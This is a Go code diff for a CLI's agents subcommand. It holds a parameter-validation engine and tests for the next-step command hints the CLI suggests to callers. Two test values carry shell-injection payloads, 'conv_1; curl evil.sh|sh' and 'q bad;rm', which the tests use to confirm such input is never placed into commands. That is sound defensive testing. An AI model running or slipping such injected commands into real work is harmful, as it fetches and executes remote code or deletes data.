+func TestNextForTaskDegradesInjectionContextID(t *testing.T) {
+	dirty := "conv_1; curl evil.sh|sh"
+	task := &iagents.AgentTask{
+		TaskID:    "chat_1",
+		ContextID: dirty,
+		State:     iagents.StateInputRequired,
+	}
+	next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
+	if len(next) != 1 {
+		t.Fatalf("dirty context_id must degrade, not drop the hint, got %+v", next)
+	}
+	if !next[0].Template {
+		t.Errorf("degraded hint must be template=true, got %+v", next[0])
+	}
+	if !strings.Contains(next[0].Command, "<context_id>") {
+		t.Errorf("degraded hint must use the <context_id> placeholder: %q", next[0].Command)
+	}
+	if strings.Contains(next[0].Command, "conv_1") {
+		t.Errorf("dirty context_id leaked into the command: %q", next[0].Command)
+	}
+}
+
+// TestNextForTaskAuthRequiredPointsToAuth pins F6: auth_required is an
+// agent-side task state (the end user must (re)authorize in the agent), NOT a
+// text-continuation like input_required. Its next must point at the auth
+// re-authorize flow (auth login --scope), never reuse the text-continuation
+// send hint.
+func TestNextForTaskAuthRequiredPointsToAuth(t *testing.T) {
+	task := &iagents.AgentTask{TaskID: "chat_1", ContextID: "conv_1", State: iagents.StateAuthRequired}
+	next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
+	if len(next) != 1 {
+		t.Fatalf("auth_required should produce 1 next, got %+v", next)
+	}
+	// Must NOT be the input_required text-continuation hint.
+	if strings.Contains(next[0].Command, "agents send") || strings.Contains(next[0].Command, "--text") {
+		t.Fatalf("auth_required should not reuse the text-continuation hint, got %q", next[0].Command)
+	}
+	// Must point at the auth (re-authorize) flow.
+	if !strings.HasPrefix(next[0].Command, "lark-cli auth login") || !strings.Contains(next[0].Command, "--scope") {
+		t.Fatalf("auth_required should point to auth login --scope, got %q", next[0].Command)
+	}
+	// The concrete scopes come from the card, so the command carries a
+	// placeholder and must be marked template.
+	if !next[0].Template {
+		t.Errorf("contains a placeholder, should be Template=true, got %+v", next[0])
+	}
+}
+
+// TestNextForTaskWatchNotWait pins the flag-name fix and the bounded-watch
+// default: task get has --watch, not --wait, and the poll hint must suggest a
+// BOUNDED watch (`--watch --timeout <default>`) so an AI caller neither blocks
+// forever on a long task nor self-hammers with unbounded polls.
+func TestNextForTaskWatchNotWait(t *testing.T) {
+	next := nextForTask("example:agent_x", &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}, nil, nil, iagents.VerbSend)
+	if len(next) == 0 {
+		t.Fatal("working task must produce a poll next")
+	}
+	if !strings.Contains(next[0].Command, "--watch") || strings.Contains(next[0].Command, "--wait") {
+		t.Fatalf("poll next must use --watch: %+v", next)
+	}
+	wantTimeout := "--timeout " + defaultWatchTimeout.String()
+	if !strings.Contains(next[0].Command, wantTimeout) {
+		t.Fatalf("poll next must be bounded with %q, got %+v", wantTimeout, next)
+	}
+}
+
+// TestNextForTaskQuestionGroup pins that an input_required task carrying a
+// question group yields ONE per-question --answer template (bare <option_id>
+// for a choice, marked repeatable for multi-select, .text=<文本> for free text,
+// design doc §4.4); a group with any whitelist-failing question_id falls back
+// to the free-text continuation (a key the CLI's own guard would reject is
+// never emitted).
+func TestNextForTaskQuestionGroup(t *testing.T) {
+	group := nextForTask("example:planner", &iagents.AgentTask{
+		TaskID: "task_1", ContextID: "ctx_1", State: iagents.StateInputRequired,
+		InputRequired: &iagents.InputRequired{
+			Label: "报表生成确认",
+			Questions: []iagents.Question{
+				{QuestionID: "q1_a8", Question: "维度?", Options: []iagents.Option{{OptionID: "by_region", Label: "按大区"}}},
+				{QuestionID: "q2_a8", Question: "时间?"},
+				{QuestionID: "q3_a8", Question: "区域?", MultiSelect: true, Options: []iagents.Option{{OptionID: "east", Label: "华东"}}},
+			},
+		},
+	}, nil, nil, iagents.VerbSend)
+	if len(group) != 1 || !group[0].Template {
+		t.Fatalf("question-group next must be one template action, got %+v", group)
+	}
+	for _, want := range []string{
+		"--answer q1_a8=<option_id>",
+		"--answer q2_a8.text=<文本>",
+		"--answer q3_a8=<option_id 多选可重复>",
+		"--task-id task_1",
+	} {
+		if !strings.Contains(group[0].Command, want) {
+			t.Errorf("question-group command should contain %q, got %q", want, group[0].Command)
+		}
+	}
+	if !strings.Contains(group[0].Label, "转达给用户") {
+		t.Errorf("label must be relay-first wording, got %q", group[0].Label)
+	}
+	// A question_id with shell metacharacters must NOT be interpolated → the
+	// whole group falls back to the --text continuation.
+	badID := nextForTask("example:planner", &iagents.AgentTask{
+		TaskID: "task_1", ContextID: "ctx_1", State: iagents.StateInputRequired,
+		InputRequired: &iagents.InputRequired{
+			Questions: []iagents.Question{{QuestionID: "q bad;rm", Question: "x"}},
+		},
+	}, nil, nil, iagents.VerbSend)
+	if len(badID) != 1 || strings.Contains(badID[0].Command, "--answer") || !strings.Contains(badID[0].Command, "--text") {
+		t.Errorf("a whitelist-failing question_id should fall back to the --text form, got %+v", badID)
+	}
+	// A flag-lookalike question_id ("--text" passes a bare charset test but not
+	// the alphanumeric-first rule) must likewise never be interpolated.
+	flagLike := nextForTask("example:planner", &iagents.AgentTask{
+		TaskID: "task_1", ContextID: "ctx_1", State: iagents.StateInputRequired,
+		InputRequired: &iagents.InputRequired{
+			Questions: []iagents.Question{{QuestionID: "--text", Question: "x"}},
+		},
+	}, nil, nil, iagents.VerbSend)
+	if len(flagLike) != 1 || strings.Contains(flagLike[0].Command, "--answer") {
+		t.Errorf("a flag-lookalike question_id must fall back, got %+v", flagLike)
+	}
+}
+
+// TestNextForTaskTemplateFlag pins the template marker semantics: the
+// input_required continue hint carries a <你的答复> placeholder, so it must be
+// marked template=true (not directly executable); poll and terminal-detail
+// hints are verbatim-executable and must not carry the marker.
+func TestNextForTaskTemplateFlag(t *testing.T) {
+	// input_required with a known context: placeholder in --text → template.
+	cont := nextForTask("example:agent_x", &iagents.AgentTask{
+		TaskID: "chat_1", ContextID: "conv_1", State: iagents.StateInputRequired,
+	}, nil, nil, iagents.VerbSend)
+	if len(cont) != 1 || !cont[0].Template {
+		t.Fatalf("input_required next must be template=true, got %+v", cont)
+	}
+	// input_required without a context id: <context_id> placeholder → template.
+	contNoCtx := nextForTask("example:agent_x", &iagents.AgentTask{
+		TaskID: "chat_1", State: iagents.StateInputRequired,
+	}, nil, nil, iagents.VerbSend)
+	if len(contNoCtx) != 1 || !contNoCtx[0].Template {
+		t.Fatalf("input_required (no ctx) next must be template=true, got %+v", contNoCtx)
+	}
+	// Poll and terminal-detail hints are directly executable → no template flag.
+	for _, task := range []*iagents.AgentTask{
+		{TaskID: "chat_1", State: iagents.StateWorking},
+		{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true},
+	} {
+		next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
+		if len(next) != 1 || next[0].Template {
+			t.Fatalf("state %s next must be executable (template unset), got %+v", task.State, next)
+		}
+	}
+}

cmd/agents/params.go

@@ -0,0 +1,505 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// This file is the per-verb business-parameter engine: --param k=v parsing,
+// collect-all validation against one operation's declared set (every violation
+// reported in one pass, each self-contained enough to fix without a discovery
+// round-trip), default backfill, and the meta.next carry rule.
+
+package agents
+
+import (
+	"encoding/json"
+	"errors"
+	"fmt"
+	"sort"
+	"strconv"
+	"strings"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+)
+
+// flatParams expands declarations to value-bearing leaves: scalars keep their
+// name, an object contributes one leaf per Field under "obj.field" dotted
+// names (leaf attributes rule). The object entry itself is NOT value-bearing
+// and is excluded. Order is declaration order (meta.next determinism).
+func flatParams(declared []iagents.CardParam) []iagents.CardParam {
+	out := make([]iagents.CardParam, 0, len(declared))
+	for _, cp := range declared {
+		if cp.Type == "object" {
+			for _, f := range cp.Fields {
+				leaf := f
+				leaf.Name = cp.Name + "." + f.Name
+				out = append(out, leaf)
+			}
+			continue
+		}
+		out = append(out, cp)
+	}
+	return out
+}
+
+// objectDecls indexes the top-level object params by name.
+func objectDecls(declared []iagents.CardParam) map[string]iagents.CardParam {
+	out := map[string]iagents.CardParam{}
+	for _, cp := range declared {
+		if cp.Type == "object" {
+			out[cp.Name] = cp
+		}
+	}
+	return out
+}
+
+// validatedParams is the engine's product: Resolved is what the runtime hands
+// to the provider hook (defaults backfilled); Given is only what the caller
+// explicitly provided (no defaults) — the meta.next carry rule reads Given so
+// backfilled defaults never turn into command-line noise.
+type validatedParams struct {
+	Resolved map[string]string
+	Given    map[string]string
+}
+
+// addParamFlag registers the shared --param flag on a leaf (two-line helper,
+// same style as addAsFlag).
+func addParamFlag(cmd *cobra.Command, params *[]string) {
+	cmd.Flags().StringArrayVar(params, "param", nil, "业务参数 key=value，可重复（各命令所需参数见 lark-cli agents card <agent_ref> --operation <verb>）")
+}
+
+// validateParams parses --param pairs and validates them against ONE
+// operation's declared parameter set, collecting ALL violations into a single
+// typed invalid_argument error (exit 2). spec is used for the cross-operation
+// reverse lookup on unknown keys ("它声明在: send") and may be nil (agents list
+// path). Passing validation backfills declaration defaults into Resolved.
+func validateParams(kvs []string, declared []iagents.CardParam, verb string, spec *iagents.AgentSpec, ref string) (validatedParams, error) {
+	// decl indexes the value-bearing leaves: scalars by name, object fields by
+	// dotted "obj.field" names — the canonical flat form every downstream
+	// consumer (Resolved, meta.next, rt.Params()) speaks.
+	leaves := flatParams(declared)
+	decl := make(map[string]iagents.CardParam, len(leaves))
+	for _, p := range leaves {
+		decl[p.Name] = p
+	}
+	objects := objectDecls(declared)
+
+	// seen 记录“这个 key 在 argv 里出现过”（重复检测 + 抑制误报的 missing-
+	// required 都看它）；given 只收录通过校验的值（Resolved/meta.next 都看它）。
+	// 两张表必须分开：值校验失败的 key 若不进 seen，重复提供会漏报、缺必填会误报
+	// （参数明明给了、只是值不对，再报一条“缺少必填”是自相矛盾的指令）。
+	// objChannel 记录每个对象走的通道（dotted|json），同一对象混用两通道报错，
+	// 不做静默合并。
+	seen := map[string]bool{}
+	given := map[string]string{}
+	objChannel := map[string]string{}
+	var viols []errs.InvalidParam
+
+	addViol := func(name, reason string, spec *iagents.CardParam, suggestions ...string) {
+		v := errs.InvalidParam{Name: name, Reason: reason, Suggestions: suggestions}
+		if spec != nil {
+			v.Spec = *spec
+		}
+		viols = append(viols, v)
+	}
+
+	// ── parse + per-key checks（一次收集全部）──
+	for _, kv := range kvs {
+		k, val, ok := strings.Cut(kv, "=")
+		if !ok || k == "" {
+			addViol(kv, fmt.Sprintf("--param 格式应为 key=value，得到 %q", kv), nil)
+			continue
+		}
+		if seen[k] {
+			addViol(k, fmt.Sprintf("参数 %s 重复提供（该参数不可重复）", k), nil)
+			continue
+		}
+		seen[k] = true
+
+		// ── 对象的 JSON 整值通道：key 恰是对象名 ──
+		if obj, isObj := objects[k]; isObj {
+			if objChannel[k] == "dotted" {
+				addViol(k, fmt.Sprintf("参数 %s 以 JSON 与点路径混合提供（同一对象只能选一种通道）", k), nil)
+				continue
+			}
+			objChannel[k] = "json"
+			validateObjectJSON(k, val, obj, verb, seen, given, addViol)
+			continue
+		}
+
+		// ── 点路径通道：key 带 "."，指向对象的某个叶子 ──
+		if top, leaf, dotted := strings.Cut(k, "."); dotted {
+			obj, isObj := objects[top]
+			if !isObj {
+				reason, sugg := unknownParamReason(k, verb, leaves, spec)
+				addViol(k, reason, nil, sugg...)
+				continue
+			}
+			if objChannel[top] == "json" {
+				addViol(k, fmt.Sprintf("参数 %s 以 JSON 与点路径混合提供（同一对象只能选一种通道）", top), nil)
+				continue
+			}
+			objChannel[top] = "dotted"
+			cp, known := decl[k]
+			if !known {
+				addViol(k, fmt.Sprintf("未知参数 %s（%s 可用字段: %s）", k, top, fieldNames(obj)), nil, dottedFieldNames(obj)...)
+				continue
+			}
+			_ = leaf
+			if val == "" {
+				if cp.Required {
+					addViol(k, fmt.Sprintf("必填参数 %s 不能为空值（%s 必填）", k, verb), &cp)
+				}
+				continue
+			}
+			if err := iagents.ValidateValue(cp, val); err != nil {
+				addViol(k, fmt.Sprintf("参数 %s %s", k, err.Error()), &cp, cp.Enum...)
+				continue
+			}
+			given[k] = canonicalValue(cp, val)
+			continue
+		}
+
+		cp, known := decl[k]
+		if !known {
+			reason, sugg := unknownParamReason(k, verb, leaves, spec)
+			addViol(k, reason, nil, sugg...)
+			continue
+		}
+		if val == "" {
+			// `k=` 空值统一按“未提供”处理（不进 given ⇒ 不遮蔽 Default 回填、
+			// 不把未过 Type/Enum/Range 校验的 "" 交给 hook——rt.Params() 契约）。
+			// 必填参数额外报专属违规；可选参数省略即得默认值，无需报错。
+			if cp.Required {
+				addViol(k, fmt.Sprintf("必填参数 %s 不能为空值（%s 必填）", k, verb), &cp)
+			}
+			continue
+		}
+		if err := iagents.ValidateValue(cp, val); err != nil {
+			addViol(k, fmt.Sprintf("参数 %s %s", k, err.Error()), &cp, cp.Enum...)
+			continue
+		}
+		given[k] = canonicalValue(cp, val)
+	}
+
+	// ── missing required（对着平铺声明反查；argv 里出现过的 key 不再重复报——
+	// 它要么已通过、要么已带着更精确的违规）──
+	for _, cp := range leaves {
+		if !cp.Required || seen[cp.Name] {
+			continue
+		}
+		c := cp
+		addViol(cp.Name, fmt.Sprintf("缺少必填参数 %s（%s 必填）", cp.Name, verb), &c)
+	}
+
+	if len(viols) > 0 {
+		return validatedParams{}, paramsError(viols, verb, ref)
+	}
+
+	// ── default 回填（只作用于完全缺席的键）──
+	resolved := make(map[string]string, len(given))
+	for k, v := range given {
+		resolved[k] = v
+	}
+	for _, cp := range leaves {
+		if cp.Default == "" {
+			continue
+		}
+		if _, ok := resolved[cp.Name]; !ok {
+			resolved[cp.Name] = cp.Default
+		}
+	}
+	return validatedParams{Resolved: resolved, Given: given}, nil
+}
+
+// validateObjectJSON is the JSON fallback channel: parse the value as a JSON
+// object, validate each member against the declared Fields with the SAME leaf
+// rules as the dotted channel, and normalize accepted members into flat dotted
+// keys — a provider never sees which channel the caller used. Numbers decode
+// via json.Number so "100" stays "100" (no float re-rendering).
+func validateObjectJSON(name, val string, obj iagents.CardParam, verb string, seen map[string]bool, given map[string]string, addViol func(string, string, *iagents.CardParam, ...string)) {
+	if val == "" {
+		return // `obj=` 空值 = 未提供（与标量语义一致）
+	}
+	dec := json.NewDecoder(strings.NewReader(val))
+	dec.UseNumber()
+	var anyVal any
+	if err := dec.Decode(&anyVal); err != nil {
+		addViol(name, fmt.Sprintf("参数 %s 的 JSON 无法解析（%v）；也可用点路径逐字段传：--param %s.<field>=<value>", name, err, name), nil)
+		return
+	}
+	raw, isObj := anyVal.(map[string]any)
+	if !isObj {
+		// 语法合法但不是对象（数组/字符串/数字/布尔/null）——用调用方词汇描述，
+		// 不泄漏 Go 反序列化的内部类型文案。
+		addViol(name, fmt.Sprintf(`参数 %s 需为 JSON 对象（如 {"k":"v"}），得到 %s；也可用点路径逐字段传：--param %s.<field>=<value>`, name, jsonKindName(anyVal), name), nil)
+		return
+	}
+	fields := map[string]iagents.CardParam{}
+	for _, f := range obj.Fields {
+		fields[f.Name] = f
+	}
+	for fk, fv := range raw {
+		full := name + "." + fk
+		seen[full] = true
+		cp, ok := fields[fk]
+		if !ok {
+			addViol(full, fmt.Sprintf("未知参数 %s（%s 可用字段: %s）", full, name, fieldNames(obj)), nil, obj.FieldNamesList()...)
+			continue
+		}
+		var sval string
+		switch tv := fv.(type) {
+		case string:
+			sval = tv
+		case json.Number:
+			sval = tv.String()
+		case bool:
+			sval = strconv.FormatBool(tv)
+		case nil:
+			continue // null = 未提供
+		default:
+			addViol(full, fmt.Sprintf("参数 %s 不支持嵌套结构（对象字段只能是标量）", full), &cp)
+			continue
+		}
+		if sval == "" {
+			if cp.Required {
+				c := cp
+				c.Name = fk
+				addViol(full, fmt.Sprintf("必填参数 %s 不能为空值（%s 必填）", full, verb), &c)
+			}
+			continue
+		}
+		if err := iagents.ValidateValue(cp, sval); err != nil {
+			c := cp
+			addViol(full, fmt.Sprintf("参数 %s %s", full, err.Error()), &c, cp.Enum...)
+			continue
+		}
+		given[full] = canonicalValue(cp, sval)
+	}
+}
+
+// fieldNames renders an object's field list for teaching errors.
+func fieldNames(obj iagents.CardParam) string {
+	return strings.Join(obj.FieldNamesList(), ", ")
+}
+
+// unknownParamReason builds the teaching sentence for an undeclared key: if
+// another operation of the same spec declares it, name those operations（改动
+// 词就能修）；otherwise list this operation's own parameter set（改拼写就能修）.
+func unknownParamReason(key, verb string, declared []iagents.CardParam, spec *iagents.AgentSpec) (string, []string) {
+	if spec != nil {
+		var elsewhere []string
+		for _, o := range spec.Ops() {
+			if o.Verb == verb || !o.Wired {
+				continue
+			}
+			for _, p := range flatParams(o.Params) {
+				if p.Name == key {
+					elsewhere = append(elsewhere, o.Verb)
+					break
+				}
+			}
+		}
+		if len(elsewhere) > 0 {
+			sort.Strings(elsewhere)
+			// suggestions 保持单一语义（可直接替换的参数名候选）：动词名不是参数，
+			// 不进 suggestions——「声明在: X」的教学已在 reason 里。
+			return fmt.Sprintf("参数 %s 不适用于 %s（它声明在: %s）", key, verb, strings.Join(elsewhere, ", ")), nil
+		}
+	}
+	known := make([]string, 0, len(declared))
+	for _, p := range declared {
+		known = append(known, p.Name)
+	}
+	if len(known) == 0 {
+		return fmt.Sprintf("未知参数 %s（%s 不接受任何业务参数）", key, verb), nil
+	}
+	// suggestions 按编辑距离给「可直接替换」的近似候选（typo 一步可修）；
+	// 没有近似命中时退回声明序全集。message 始终列全集（发现面完整）。
+	sugg := nearestNames(key, known, 2)
+	if len(sugg) == 0 {
+		sugg = known
+	}
+	return fmt.Sprintf("未知参数 %s（%s 可用参数: %s）", key, verb, strings.Join(known, ", ")), sugg
+}
+
+// nearestNames returns the candidates within maxDist Levenshtein distance of
+// key, nearest first (stable for ties by candidate order).
+func nearestNames(key string, candidates []string, maxDist int) []string {
+	type scored struct {
+		name string
+		d    int
+	}
+	var hits []scored
+	for _, c := range candidates {
+		if d := levenshtein(key, c); d <= maxDist {
+			hits = append(hits, scored{c, d})
+		}
+	}
+	sort.SliceStable(hits, func(i, j int) bool { return hits[i].d < hits[j].d })
+	out := make([]string, 0, len(hits))
+	for _, h := range hits {
+		out = append(out, h.name)
+	}
+	return out
+}
+
+// levenshtein is the classic two-row edit distance over runes.
+func levenshtein(a, b string) int {
+	ra, rb := []rune(a), []rune(b)
+	prev := make([]int, len(rb)+1)
+	cur := make([]int, len(rb)+1)
+	for j := range prev {
+		prev[j] = j
+	}
+	for i := 1; i <= len(ra); i++ {
+		cur[0] = i
+		for j := 1; j <= len(rb); j++ {
+			cost := 1
+			if ra[i-1] == rb[j-1] {
+				cost = 0
+			}
+			cur[j] = min(min(cur[j-1]+1, prev[j]+1), prev[j-1]+cost)
+		}
+		prev, cur = cur, prev
+	}
+	return prev[len(rb)]
+}
+
+func min(a, b int) int {
+	if a < b {
+		return a
+	}
+	return b
+}
+
+// jsonKindName names a decoded JSON value's kind in caller vocabulary.
+func jsonKindName(v any) string {
+	switch v.(type) {
+	case []any:
+		return "数组"
+	case string:
+		return "字符串"
+	case json.Number:
+		return "数字"
+	case bool:
+		return "布尔值"
+	case nil:
+		return "null"
+	default:
+		return "非对象值"
+	}
+}
+
+// canonicalValue normalizes an ACCEPTED scalar to its canonical wire form so a
+// provider receives one deterministic literal regardless of the input variant
+// or channel: boolean TRUE/1/t → true|false, integer +5/04 → 5/4. The JSON
+// channel already produces canonical literals for native types; this closes
+// the dotted-path (and JSON string-member) variants to the same form. Values
+// that reach here have passed ValidateValue, so parse errors are impossible;
+// the input is returned unchanged as a defensive fallback.
+func canonicalValue(cp iagents.CardParam, val string) string {
+	switch cp.Type {
+	case "boolean":
+		if b, err := strconv.ParseBool(val); err == nil {
+			return strconv.FormatBool(b)
+		}
+	case "integer":
+		if n, err := strconv.ParseInt(val, 10, 64); err == nil {
+			return strconv.FormatInt(n, 10)
+		}
+	case "number":
+		if f, err := strconv.ParseFloat(val, 64); err == nil {
+			return strconv.FormatFloat(f, 'g', -1, 64)
+		}
+	}
+	return val
+}
+
+// dottedFieldNames returns an object's field names in their full dotted form
+// (directly substitutable --param keys).
+func dottedFieldNames(obj iagents.CardParam) []string {
+	out := make([]string, 0, len(obj.Fields))
+	for _, f := range obj.Fields {
+		out = append(out, obj.Name+"."+f.Name)
+	}
+	return out
+}
+
+// paramsError folds collected violations into one typed error: a single
+// violation keeps its sentence as the message (continuity with the old
+// one-error style); several get a count summary, with every violation carried
+// structurally in params[].
+func paramsError(viols []errs.InvalidParam, verb, ref string) error {
+	msg := viols[0].Reason
+	if len(viols) > 1 {
+		msg = fmt.Sprintf("%s 参数校验失败：%d 处问题（详见 params）", verb, len(viols))
+	}
+	e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", msg).
+		WithParam("param:" + viols[0].Name).
+		WithParams(viols...)
+	return e.WithHint("%s", opHint(ref, verb))
+}
+
+// validateListParams is the `agents list <scheme>` variant of validateParams:
+// list is a provider-level operation with no agent_ref yet, so there is no
+// spec for cross-operation reverse lookup, and the discovery hint points at
+// the provider listing's list_parameters instead of an agent card.
+func validateListParams(kvs []string, declared []iagents.CardParam, scheme string) (validatedParams, error) {
+	vp, err := validateParams(kvs, declared, "list", nil, "")
+	if err != nil {
+		var verr *errs.ValidationError
+		if errors.As(err, &verr) {
+			verr.Hint = fmt.Sprintf("按 params 逐条修正后重发；agents list %s 的可用参数见 lark-cli agents list 输出的 providers[].list_parameters", scheme)
+		}
+		return validatedParams{}, err
+	}
+	return vp, nil
+}
+
+// opHint is the operation-scoped discovery hint（ref 过白名单才内插命令）.
+func opHint(ref, verb string) string {
+	if safeNextRef(ref) {
+		return fmt.Sprintf("按 params 逐条修正后重发；或运行 lark-cli agents card %s --operation %s 查看参数声明", ref, verb)
+	}
+	return "按 params 逐条修正后重发；或用 agents card 的 --operation 子查询查看参数声明"
+}
+
+// paramArgsFor renders the meta.next carry for target verb V per the
+// three-way rule, in declaration order:
+//  1. given + value passes the whitelist → carry literally;
+//  2. given + value fails the whitelist → required degrades to a placeholder
+//     (template), optional is dropped（宁缺毋歧义）;
+//  3. absent but required on V → placeholder (template) — the cross-verb hole:
+//     without this, "链上不丢必填" only holds when the previous verb happened
+//     to share the parameter.
+//
+// Defaults are NOT carried (the next hop deterministically re-backfills).
+func paramArgsFor(spec *iagents.AgentSpec, verb string, given map[string]string) (args string, templated bool) {
+	if spec == nil {
+		return "", false
+	}
+	op, ok := spec.Op(verb)
+	if !ok {
+		return "", false
+	}
+	var b strings.Builder
+	for _, p := range flatParams(op.Params) {
+		v, has := given[p.Name]
+		switch {
+		case p.NoCarry:
+			// 每次调用应给新值的参数：给过也不字面上链；必填的降级占位，提醒
+			// 调用方填一个新值（而不是复用上一次的）。
+			if p.Required {
+				fmt.Fprintf(&b, " --param %s=<%s>", p.Name, p.Name)
+				templated = true
+			}
+		case has && v != "" && safeNextID(v):
+			fmt.Fprintf(&b, " --param %s=%s", p.Name, v)
+		case p.Required:
+			fmt.Fprintf(&b, " --param %s=<%s>", p.Name, p.Name)
+			templated = true
+		}
+	}
+	return b.String(), templated
+}

cmd/agents/params_test.go

@@ -0,0 +1,658 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"strings"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+)
+
+// paramSpec builds a spec with a send declaration (required ws + enum/default
+// priority + ranged integer) and a task_list declaration sharing ws — the
+// cross-operation reverse-lookup and three-way-carry test bed.
+func paramSpec() *iagents.AgentSpec {
+	ws := iagents.CardParam{Name: "workspace_id", Type: "string", Required: true, Desc: "目标工作区"}
+	return &iagents.AgentSpec{
+		Send: iagents.SendOp{
+			Params: []iagents.CardParam{
+				ws,
+				{Name: "priority", Type: "string", Enum: []string{"low", "normal", "high"}, Default: "normal"},
+				{Name: "max_results", Type: "integer", Min: iagents.Float(1), Max: iagents.Float(100), Default: "20"},
+			},
+			Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil },
+		},
+		GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
+		ListTasks: iagents.TaskListOp{
+			Params: []iagents.CardParam{ws},
+			Handler: func(context.Context, iagents.Runtime, string, iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error) {
+				return nil, iagents.PageInfo{}, nil
+			},
+		},
+	}
+}
+
+// TestValidateParams_CollectAll pins the batch contract: every violation in ONE
+// error — two missing requireds are impossible on one decl set, so mix missing
+// required + unknown key + enum violation and assert all three violations
+// surface with self-contained specs.
+func TestValidateParams_CollectAll(t *testing.T) {
+	spec := paramSpec()
+	_, err := validateParams(
+		[]string{"priority=urgent", "bogus=1"},
+		spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err == nil {
+		t.Fatal("should fail with collected violations")
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) {
+		t.Fatalf("want *errs.ValidationError, got %T", err)
+	}
+	if len(verr.Params) != 3 {
+		t.Fatalf("want 3 violations (enum + unknown + missing required), got %d: %+v", len(verr.Params), verr.Params)
+	}
+	byName := map[string]errs.InvalidParam{}
+	for _, v := range verr.Params {
+		byName[v.Name] = v
+	}
+	// enum violation lists the full set and embeds the spec
+	if v := byName["priority"]; !strings.Contains(v.Reason, "low|normal|high") || v.Spec == nil {
+		t.Errorf("priority violation should list the enum set and embed spec, got %+v", v)
+	}
+	// unknown key lists this operation's available params
+	if v := byName["bogus"]; !strings.Contains(v.Reason, "workspace_id") {
+		t.Errorf("unknown-key violation should list available params, got %+v", v)
+	}
+	// missing required embeds the full declaration so the caller can fix without
+	// a discovery round-trip
+	v := byName["workspace_id"]
+	if !strings.Contains(v.Reason, "缺少必填参数") || v.Spec == nil {
+		t.Fatalf("missing-required violation should embed spec, got %+v", v)
+	}
+	if sp, ok := v.Spec.(iagents.CardParam); !ok || sp.Desc != "目标工作区" {
+		t.Errorf("embedded spec should be the full CardParam, got %+v", v.Spec)
+	}
+	// multi-violation message is a count summary; hint points at --operation
+	if !strings.Contains(verr.Message, "3 处问题") {
+		t.Errorf("multi-violation message should carry the count, got %q", verr.Message)
+	}
+	if !strings.Contains(verr.Hint, "--operation send") {
+		t.Errorf("hint should point at card --operation send, got %q", verr.Hint)
+	}
+}
+
+// TestValidateParams_CrossOpReverseLookup pins the "它声明在" teaching error: a
+// param declared on send but passed to task_get names where it lives.
+func TestValidateParams_CrossOpReverseLookup(t *testing.T) {
+	spec := paramSpec()
+	_, err := validateParams([]string{"priority=high"}, spec.GetTask.Params, iagents.VerbTaskGet, spec, "acme:reporter")
+	if err == nil || !strings.Contains(err.Error(), "不适用于 task_get") || !strings.Contains(err.Error(), "它声明在: send") {
+		t.Fatalf("cross-op teaching error expected, got %v", err)
+	}
+}
+
+// TestValidateParams_RulesTable covers the remaining violation kinds one by one.
+func TestValidateParams_RulesTable(t *testing.T) {
+	spec := paramSpec()
+	base := []string{"workspace_id=ws_42"}
+	cases := []struct {
+		name string
+		kvs  []string
+		want string
+	}{
+		{"duplicate", append(base, "workspace_id=ws_43"), "重复提供"},
+		{"empty required", []string{"workspace_id="}, "不能为空值"},
+		{"malformed", append(base, "noequals"), "key=value"},
+		{"type mismatch", append(base, "max_results=abc"), "integer"},
+		{"range violation", append(base, "max_results=500"), "1..100"},
+		{"zero-param op given a param", nil, ""},
+	}
+	for _, tc := range cases[:5] {
+		t.Run(tc.name, func(t *testing.T) {
+			_, err := validateParams(tc.kvs, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+			if err == nil || !strings.Contains(err.Error()+errHint(err), tc.want) {
+				t.Fatalf("want %q in error, got %v", tc.want, err)
+			}
+		})
+	}
+	// value containing '=' splits on the first '=' only
+	vp, err := validateParams(append(base, "priority=high"), spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err != nil || vp.Given["workspace_id"] != "ws_42" {
+		t.Fatalf("valid set should pass: %v %v", vp, err)
+	}
+}
+
+// TestValidateParams_EmptyOptionalTreatedAsAbsent pins the review fix (blocker):
+// `k=` on an OPTIONAL param counts as not provided — no violation, no entry in
+// Given, and the declared Default still backfills Resolved, so no unvalidated
+// "" can ever reach a hook (the rt.Params() contract).
+func TestValidateParams_EmptyOptionalTreatedAsAbsent(t *testing.T) {
+	spec := paramSpec()
+	vp, err := validateParams([]string{"workspace_id=ws_42", "max_results="}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err != nil {
+		t.Fatalf("empty optional should not violate: %v", err)
+	}
+	if got := vp.Resolved["max_results"]; got != "20" {
+		t.Errorf("empty optional must not shadow the default (backfill still applies), got %q", got)
+	}
+	if _, ok := vp.Given["max_results"]; ok {
+		t.Errorf("empty optional must not enter Given, got %v", vp.Given)
+	}
+	// empty on a declared optional with default: default wins in Resolved
+	vp2, err := validateParams([]string{"workspace_id=ws_42", "priority="}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err != nil {
+		t.Fatalf("empty optional should not violate: %v", err)
+	}
+	if vp2.Resolved["priority"] != "normal" {
+		t.Errorf("empty optional must not shadow the default, got %q", vp2.Resolved["priority"])
+	}
+	// duplicate detection still sees the empty occurrence
+	_, err = validateParams([]string{"workspace_id=ws_42", "priority=", "priority=high"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err == nil || !strings.Contains(err.Error()+errHint(err), "重复提供") {
+		t.Fatalf("duplicate after empty occurrence must be reported, got %v", err)
+	}
+}
+
